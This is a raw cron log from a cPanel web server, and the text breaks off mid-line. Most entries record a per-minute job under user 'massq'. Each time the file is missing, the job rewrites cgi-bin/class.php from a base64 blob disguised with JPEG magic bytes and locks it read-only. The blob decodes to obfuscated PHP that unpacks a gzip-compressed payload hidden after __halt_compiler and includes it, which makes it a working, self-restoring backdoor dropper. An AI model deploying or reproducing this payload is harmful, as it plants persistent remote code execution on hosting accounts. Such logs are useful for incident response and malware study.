Apr  9 21:58:01 server CROND[26035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:59:01 server CROND[26196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:00:01 server CROND[26247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:00:01 server CROND[26246]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 22:00:01 server CROND[26249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:00:01 server CROND[26250]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 22:00:01 server CROND[26248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:01:01 server CROND[26377]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 22:01:01 server CROND[26378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:01:01 server run-parts(/etc/cron.hourly)[26377]: starting 0anacron
Apr  9 22:01:01 server run-parts(/etc/cron.hourly)[26390]: finished 0anacron
Apr  9 22:02:01 server CROND[26451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:03:01 server CROND[26503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:04:01 server CROND[26657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:05:01 server CROND[26713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:05:01 server CROND[26714]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 22:05:01 server CROND[26715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:05:01 server CROND[26717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:06:02 server CROND[26842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:07:01 server CROND[26901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:08:01 server CROND[26953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:09:01 server CROND[27119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:09:01 server CROND[27120]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 22:10:01 server CROND[27193]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 22:10:01 server CROND[27192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 22:10:01 server CROND[27194]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 22:10:01 server CROND[27197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 22:11:01 server CROND[27358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV